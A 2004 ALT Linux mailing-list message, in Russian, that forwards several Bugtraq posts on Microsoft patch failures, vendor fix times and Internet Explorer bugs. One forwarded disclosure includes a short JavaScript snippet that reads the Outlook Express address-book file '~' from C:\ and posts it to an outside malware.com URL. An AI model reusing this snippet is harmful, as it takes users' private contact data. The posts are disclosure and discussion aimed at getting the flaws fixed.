From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Date: Wed, 5 May 2004 12:31:17 +0300 From: Michael Shigorin To: community@altlinux.ru Message-ID: <20040505093117.GA27538@osdn.org.ua> Mail-Followup-To: community@altlinux.ru References: <1083624317.22454.43.camel@localhost.localdomain> <20040504182529.4c590fbb@Maxim-L.office.modum.by> <1083721067.676.61.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IiVenqGWf+H9Y6IX" Content-Disposition: inline In-Reply-To: <1083721067.676.61.camel@localhost.localdomain> User-Agent: Mutt/1.4.1i Subject: [Comm] Re: =?koi8-r?b?89TB1MnT1MnLwSDQzyDCxdrP0MHTzs/T1Mk=?= X-BeenThere: community@altlinux.ru X-Mailman-Version: 2.1.4 Precedence: list Reply-To: community@altlinux.ru List-Id: Mailing list for ALT Linux users List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 May 2004 09:31:27 -0000 Archived-At: List-Archive: List-Post: --IiVenqGWf+H9Y6IX Content-Type: multipart/mixed; boundary="zhXaljGHf11kAtnf" Content-Disposition: inline Content-Transfer-Encoding: 8bit --zhXaljGHf11kAtnf Content-Type: text/plain; charset=koi8-r Content-Disposition: inline Content-Transfer-Encoding: 8bit On Wed, May 05, 2004 at 05:37:47AM +0400, Mikhail Ramendik wrote: > > Не совсем про безопасность, но для win2000sp4 уже более 100 > > различных заплат именуемых postSP4, которые не легко получить :( > Ну почему же "не совсем". Это как раз про безопасность и очень важно. (в сторону) Знаете, я тут как-то рассказывал, как сгибался от хохота при виде таблички "Deploying Secure Windows 200 Network" на учебном классе крупнейшего партнера MS здесь -- по той простой причине, что за дверями синели мониторы с ALM2.2. :) > Вопрос - написано ли про это на каком-либо сайте? А то > официальная позиция MS - всё, что надо, доступно через > WindowsUpdate. Например, http://unpatched.pivxlabs.com Вот еще кой-чего по части моего письма рядом, чтоб не разводить ответов. (заглянув в архив) О, да тут прямо ассорти -- думаю, в архиве того же багтрака можно найти и другие релевантные вещи. -- ---- WBR, Michael Shigorin ------ Linux.Kiev http://www.linux.kiev.ua/ --zhXaljGHf11kAtnf Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Delivered-To: mike@fly.osdn.org.ua Received: from kurush.osdn.org.ua (external.osdn.org.ua [212.40.34.156]) by fly.osdn.org.ua (Postfix) with ESMTP id 4957D180E414 for ; Tue, 4 May 2004 21:40:28 +0300 (EEST) Received: from outgoing.securityfocus.com (outgoing2.securityfocus.com [205.206.231.26]) by kurush.osdn.org.ua (8.12.6p3/8.12.6) with ESMTP id i44IeRi7070149 for ; Tue, 4 May 2004 21:40:27 +0300 (EEST) (envelope-from bugtraq-return-14233-mike=osdn.org.ua@securityfocus.com) Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20]) by outgoing.securityfocus.com (Postfix) with QMQP id 1D0B21436FC; Tue, 4 May 2004 19:51:00 -0600 (MDT) Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm Precedence: bulk List-Id: List-Post: List-Help: List-Unsubscribe: List-Subscribe: Delivered-To: mailing list bugtraq@securityfocus.com Delivered-To: moderator for bugtraq@securityfocus.com Received: (qmail 4421 invoked from network); 3 May 2004 20:34:55 -0000 Date: Mon, 3 May 2004 16:03:15 -0700 From: Nicholas Weaver To: James Riden Cc: InfoSec@seba.com, bugtraq@securityfocus.com Subject: Re: After Ms patches last Wed ... Message-ID: <20040503160315.A11612@ring.CS.Berkeley.EDU> References: <873c6hnqgv.fsf@it029205.massey.ac.nz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <873c6hnqgv.fsf@it029205.massey.ac.nz>; from j.riden@massey.ac.nz on Tue, May 04, 2004 at 09:36:00AM +1200 X-Virus-Scanned: by amavisd-new X-Spam: no; 0.00; Weaver:01 nweaver:01 Allowing:01 judgement:01 severity:01 attackers:01 worms:01 exploit:01 65%:98 rates:98 stones:97 10%:97 Microsoft:94 waking:94 users:07 This brings the question: Are Mondo-sized patches like MS04-011 a good idea or a bad idea? On the one hand, they correct a lot of problems, in a way very friendly to most users. One of the big headaches is the ignorant users, who end up worm-bait, botnets, spam relays, stepping stones, etc. Allowing them to easily be up to date is a good thing. Additionally, it removes some of the judgement calls on patch severity/urgency, because there is probabyl going to be at least one "you better patch it now", so there is less likely to be an "Microsoft only rates this as important because you have to be authenticated in the domain..." moment. But on the other hand, the probability of the superpatch causing problems is exacerbated. If each normal patch has a probability P of causing problems, then an N-fold patch has probability (1 - P)^N of NOT causing a problem. Thus the probability is 1 - (1 - P)^N that the N-way patch will have an issue. For real-world numbers, if P = .1 (10% chance the patch may be problematic) and N is 10, then the patch has a 65% chance of being a problem. Even if P is .01, there is still a nearly 10% chance of problems from a 10-way superpatch. This is now worse as the attackers have finally started waking up to the reality of worms. With vulnerabilities like the ones in the superpatch, and with attackers demonstrating a <48 hour turnaround time between disclosure and worm (Witty) or exploit and worm (Sasser), these superpatches leave an adminitrator in a bind: Apply the superpatch immeditely and accept the significantly increased probability of failure, or don't apply the patch and accept the vastly high probability of a worm in the near future. -- Nicholas C. Weaver nweaver@cs.berkeley.edu --zhXaljGHf11kAtnf Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Delivered-To: mike@fly.osdn.org.ua Received: from kurush.osdn.org.ua (external.osdn.org.ua [212.40.34.156]) by fly.osdn.org.ua (Postfix) with ESMTP id 6B13A1851E29 for ; Mon, 8 Sep 2003 21:52:22 +0300 (EEST) Received: from outgoing2.securityfocus.com (outgoing2.securityfocus.com [205.206.231.26]) by kurush.osdn.org.ua (8.12.6p2/8.12.6) with ESMTP id h88IqKuv078434 for ; Mon, 8 Sep 2003 21:52:21 +0300 (EEST) (envelope-from bugtraq-return-10865-mike=osdn.org.ua@securityfocus.com) Received: from lists.securityfocus.com (lists.securityfocus.com [205.206.231.19]) by outgoing2.securityfocus.com (Postfix) with QMQP id B81508F91D; Mon, 8 Sep 2003 04:59:12 -0600 (MDT) Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm Precedence: bulk List-Id: List-Post: List-Help: List-Unsubscribe: List-Subscribe: Delivered-To: mailing list bugtraq@securityfocus.com Delivered-To: moderator for bugtraq@securityfocus.com Received: (qmail 8848 invoked from network); 7 Sep 2003 07:15:56 -0000 Message-Id: <200309071316.h87DGI7i024059@web6.megawebservers.com> X-Authentication-Warning: web6.megawebservers.com: webmail.easyhosting.com set sender to 1@malware.com using -f To: , Subject: BAD NEWS: Microsoft Security Bulletin MS03-032 Date: Sun, 7 Sep 2003 13:16:18 -0000 From: "http-equiv@excite.com" <1@malware.com> X-Mailer: TWIG 2.7.5 Reply-To: 1@malware.com X-Spam: no; 0.00; funky:01 innerHTML:01 Disable:01 uninstall:01 eeye:01 Advisories:01 coupling:01 pathetic:01 oversight:01 outset:98 http-equiv:98 bag:98 Surprisingly:98 body:97 malware:02 Since the cat somehow got out of the bag, and more importantly, this is so blatantly obvious, herewith is the "Bad News": The patch for Drew's object data=funky.hta doesn't work: http://www.malware.com/badnews.html Notes: 1. Disable Active Scripting 2. In case that does not work, uninstall Internet Explorer 3. http://www.eeye.com/html/Research/Advisories/AD20030820.html 4. This was sent to the manufacturer quite some time prior to this going out. Surprisingly no immediate acknowledgement 5. This is so blatantly obvious, in particular because it is the coupling of two known issues[one current + one from 2002]: http://www.securityfocus.com/bid/3867/ It is beyond comprehension why this was not checked from the outset as it is a known issue plus file://::{CLSID}in the control panel in the object tag still functions to date. 6. At this stage one must really question the compentency of this particular operation. This is a pathetic oversight. -- http://www.malware.com --zhXaljGHf11kAtnf Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Delivered-To: mike@fly.osdn.org.ua Received: from kurush.osdn.org.ua (external.osdn.org.ua [212.40.34.156]) by fly.osdn.org.ua (Postfix) with ESMTP id 561471868C34 for ; Fri, 14 Nov 2003 01:10:59 +0200 (EET) Received: from outgoing2.securityfocus.com (outgoing2.securityfocus.com [205.206.231.26]) by kurush.osdn.org.ua (8.12.6p3/8.12.6) with ESMTP id hADNAvqO037705 for ; Fri, 14 Nov 2003 01:10:58 +0200 (EET) (envelope-from bugtraq-return-11834-mike=osdn.org.ua@securityfocus.com) Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20]) by outgoing2.securityfocus.com (Postfix) with QMQP id 0DD3E8F444; Thu, 13 Nov 2003 09:57:39 -0700 (MST) Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm Precedence: bulk List-Id: List-Post: List-Help: List-Unsubscribe: List-Subscribe: Delivered-To: mailing list bugtraq@securityfocus.com Delivered-To: moderator for bugtraq@securityfocus.com Received: (qmail 5310 invoked from network); 13 Nov 2003 16:55:13 -0000 Date: Thu, 13 Nov 2003 18:04:02 -0500 (EST) Message-Id: <200311132304.hADN42TV005857@linus.mitre.org> From: "Steven M. Christey" To: bugtraq@securityfocus.com Subject: Re: Funny article X-Spam: no; 0.00; Christey:01 coley:01 Funny:01 timeliness:01 timelines:01 researchers:01 uncertain:01 timeline:01 acknowledged:01 implicit:01 explicit:01 bug:01 severity:01 exploitable:01 overflow:01 It would be very interesting to see any results that try to compare the timeliness of vendor response. I attemped to conduct such a study a year and a half ago, but the study failed due to lack of time and a lot of other factors such as: - the relatively small percentage of disclosure timelines as reported by researchers - and the number of errors or uncertain values in some of those timelines (e.g. "I reported this some time ago"). As a result of this, I was only able to determine a "notify-to-publish-to-fix" timeline about 10% of the time. - the relatively large number of bugs that get publicly reported, but do not seem to be acknowledged or fixed by the vendor(s). Since there is no publicly known fix, one can only calculate a MINIMUM amount of time-to-fix. - the implicit (or explicit) policy that the vendor uses related to bug severity. For example, a minor information leak may be treated as a non-security bug whereas a remotely exploitable buffer overflow would get an instant fix. - the unknown percentage of bugs that were discovered and fixed by the vendors themselves. (Indeed, Microsoft's own acknowledgement policy makes it difficult to know whether their uncredited fixes are due to their own internal discoveries, or previous public disclosures by researchers who did not fully coordinate with Microsoft). - how one "counts" the number of vulnerabilities. I view this as one of the main roles of CVE, however any set of vulnerability data must be normalized in *some* fashion before being compared, otherwise the stats will be biased. - how one determines the date when something is "fixed." For example, consider if the vendor releases a patch that is so broken that it prevents correct operation of the software. Or consider if an open source patch is made available at the time of disclosure and posted to "semi-public" developer-focused lists, but there's some amount of time before the fix makes it into the official patch. I initially tried to cover a 3 month time span, but it really seemed like at least a year's worth was required. There were some indications (not statistically proven) that researchers were generally more willing to coordinate with open source vendors than closed source. This would further bias any disclosure data. You can't simply compare published advisories against each other, because: - different vendors have varying criteria for how severe a bug must be before an advisory is published - some advisories report multiple bugs, which could mean multiple disclosure and notification dates, and different times-to-fix - sometimes an interim patch is provided before the advisory - sometimes security issues are patched through some mechanism other than an advisory (e.g. Microsoft's service packs, which fix security bugs but don't normally have an associated security bulletin) - sometimes there are multiple advisories for the same bugs (SCO and Red Hat immediately come to mind) You also can't directly compare by "total bugs per OS" because of the variance in packages that may or may not get installed, plus how one defines what is or isn't part of the "operating system" as mentioned previously. One way to normalize such a comparison is to compare "default" installations to each other, and "most secure" installations to each other - although of course the latter is not always available. Fortunately, the percentage of vulnerability reports with disclosure timelines seems to have been increased significantly in the past year, so maybe there is a critical mass of data available. As a final note, I have the impression that most vendors (open or closed, commercial or freeware) don't track their own speed-to-fix, and *no* vendor that I know of actually *publishes* their speed-to-fix. Hopefully someday there will be a solid public paper that actually tries to quantify the *real* amount of time it takes to fix bugs, whether on a per-vendor or per-platform basis, and accounts for all the issues that I described above. (I know of a couple private efforts, but they are not public yet.) Of course, one would want to verify the raw data as well. - Steve --zhXaljGHf11kAtnf Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Delivered-To: mike@fly.osdn.org.ua Received: from kurush.osdn.org.ua (external.osdn.org.ua [212.40.34.156]) by fly.osdn.org.ua (Postfix) with ESMTP id 28A131868B31 for ; Tue, 18 Nov 2003 22:12:22 +0200 (EET) Received: from outgoing2.securityfocus.com (outgoing2.securityfocus.com [205.206.231.26]) by kurush.osdn.org.ua (8.12.6p3/8.12.6) with ESMTP id hAIKCJ8b067105 for ; Tue, 18 Nov 2003 22:12:20 +0200 (EET) (envelope-from bugtraq-return-11877-mike=osdn.org.ua@securityfocus.com) Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20]) by outgoing2.securityfocus.com (Postfix) with QMQP id 4DC4F900ED; Tue, 18 Nov 2003 06:58:42 -0700 (MST) Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm Precedence: bulk List-Id: List-Post: List-Help: List-Unsubscribe: List-Subscribe: Delivered-To: mailing list bugtraq@securityfocus.com Delivered-To: moderator for bugtraq@securityfocus.com Received: (qmail 24481 invoked from network); 18 Nov 2003 13:21:26 -0000 Message-Id: <200311181931.hAIJV0R8010162@web172.megawebservers.com> X-Authentication-Warning: web172.megawebservers.com: webmail.easyhosting.com set sender to 1@malware.com using -f To: Subject: Re: Security researchers organization Date: Tue, 18 Nov 2003 19:30:57 -0000 From: "http-equiv@excite.com" <1@malware.com> X-Mailer: TWIG 2.7.5 Cc: Reply-To: 1@malware.com X-Spam: no; 0.00; researchers:01 exists:01 scale:01 recognize:01 intents:01 achieved:01 pat:01 cease:01 repeatedly:01 tilde:01 opens:01 resides:01 lawsuit:01 XMLHTTP:01 responseBody:01 I don't think those capable of actually doing research require hand holding by anyone. Can this not already be achieved by following the minimum requirement of any one particular vendor. Or following any one of the number of so-called disclosure guidelines already tabled. While some may want accreditation and pat on the back, others may want the continual flow of effluent onto the internet to cease. Some want habitual offenders penalised. Monetarily. Some want an authoritative body like a UL or CSA or VDE or SEMKO or BS to stamp their mark on product entering the internet. 'REJECTED' for junk product that finds it's way repeatedly onto the internet. Allow me to give you an example of a habitual offender: There is a peculiar file that appears on almost everyone's computers since April of 2003. Peculiar enough in that all it is, is a tilde "~". Inside that file is the entire contents of the user's address book. In fact, the file is exactly that. The user's address book. Simply adding the extension of *.wab to it, opens up none other than the Windows Address Book. All names, addresses and whatever critically private information one puts in there. Some people even put their banking and credit card details in there believe it or not. This peculiar little file is an oddity created by the April 2003, Cumulative Patch for Outlook Express (330994). Now seven months ago. A most useful file in that it is created in a number of well known places including "C:\". Knowing the file name and location makes it quite easy to 'steal' this file and invade the privacy of the user of the computer where it still resides today. Some seven months after the vendor knowing full well about it. [I believe there is a pending lawsuit against the same vendor along the same lines at this time]. You see: var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "file:///C:/~",0); x.Send(); var y = new ActiveXObject ("Microsoft.XMLHTTP"); y.Open("POST", "http://www.malware.com/forthetaking.php", false); y.Send(x.responseBody); Will get and post that file. With a little bit of effort and timing, all one needs to do is steal that file and invade the privacy of the "customer" ! And who's fault will that be? Mine for providing this glaringly obvious scenario 'for free' or the vendor sitting on their hands for seven months thinking about it for a fee. REJECT ! the product and keep it off the internet ! -- http://www.malware.com --zhXaljGHf11kAtnf Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Delivered-To: mike@fly.osdn.org.ua Received: from kurush.osdn.org.ua (external.osdn.org.ua [212.40.34.156]) by fly.osdn.org.ua (Postfix) with ESMTP id 0213C180E22C for ; Tue, 13 Apr 2004 00:50:49 +0300 (EEST) Received: from outgoing3.securityfocus.com (outgoing3.securityfocus.com [205.206.231.27]) by kurush.osdn.org.ua (8.12.6p3/8.12.6) with ESMTP id i3CLoli7033916 for ; Tue, 13 Apr 2004 00:50:48 +0300 (EEST) (envelope-from bugtraq-return-13910-mike=osdn.org.ua@securityfocus.com) Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20]) by outgoing3.securityfocus.com (Postfix) with QMQP id 60B79A4B56; Mon, 12 Apr 2004 13:33:50 -0600 (MDT) Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm Precedence: bulk List-Id: List-Post: List-Help: List-Unsubscribe: List-Subscribe: Delivered-To: mailing list bugtraq@securityfocus.com Delivered-To: moderator for bugtraq@securityfocus.com Received: (qmail 29567 invoked from network); 12 Apr 2004 08:38:33 -0000 Message-ID: <407AAB80.9020904@comcast.net> Date: Mon, 12 Apr 2004 10:45:20 -0400 From: Ben Garvey User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: bugtraq@securityfocus.com Subject: IE 6 Print Without Prompt Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new X-Spam: no; 0.00; Prompt:01 Versions:01 Bugs:01 prompting:01 Exploitation:01 Bugtraq:01 Luigi:01 Auriemma:01 Introduction:01 dominant:01 summary:01 OLE:01 estimate:01 IE's:01 damages:01 ####################################################################### Ben Garvey Application: Microsoft Internet Explorer Versions: 6.0 Platforms: Windows Bugs: IE 6 allows JavaScript to send documents to the printer without prompting the user. Exploitation: Client Date: 12 April 2004 Author: Ben Garvey bengarvey@comcast.net http://www.bengarvey.com Bugtraq report format: Thanks Luigi Auriemma! ####################################################################### =============== 1) Introduction =============== Microsoft Internet Explorer is the dominant web browser on the world's PCs. Any exploits or bugs found hurt millions of users. Like anyone here needed to know that or is surprised. ####################################################################### =============== 2) Bug summary =============== Using an OLE object, JavaScript, and HTML, IE 6 will allow a malicious document to send pages to the printer without prompting the user. Printing documents without prompting the user could result in the waste of paper, toner, ink or result in damage to the printer. If inserted into a high traffic website this waste could be substantial. $ of paper x printed sheets x web traffic x % of IE Users = $total waste in paper If paper costs a penny per sheet ($5 for 500 sheets) We average about 10 sheets printed per user before they realize what's happening (conservative estimate) It's used on a high traffic website (1 million unique visitors) IE's market share is about 90%. $0.01 x 10 per user x 1 million x 0.90 = $90,000 in damages This doesn't even include costs associated with toner and time. =============== 3) Exploit =============== The following is an example of the exploit. The offending line must be uncommented to activate it. Remove any linebreaks that break the JavaScript.

I like your PRINTER

=============== 4) Conclusion =============== I can't think of any reasonable use for allowing IE to print stuff without my permission. This bug should be fixed as soon as possible. ----- Ben Garvey bengarvey@comcast.net http://www.bengarvey.com --zhXaljGHf11kAtnf-- --IiVenqGWf+H9Y6IX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAmLRlbsPDprYMm3IRAh2bAKCLSLpmkSAqycJeiimqKtOr3976ewCg2OwY kJss3rUIkyqQAWEJSqG2qtw= =QfNy -----END PGP SIGNATURE----- --IiVenqGWf+H9Y6IX--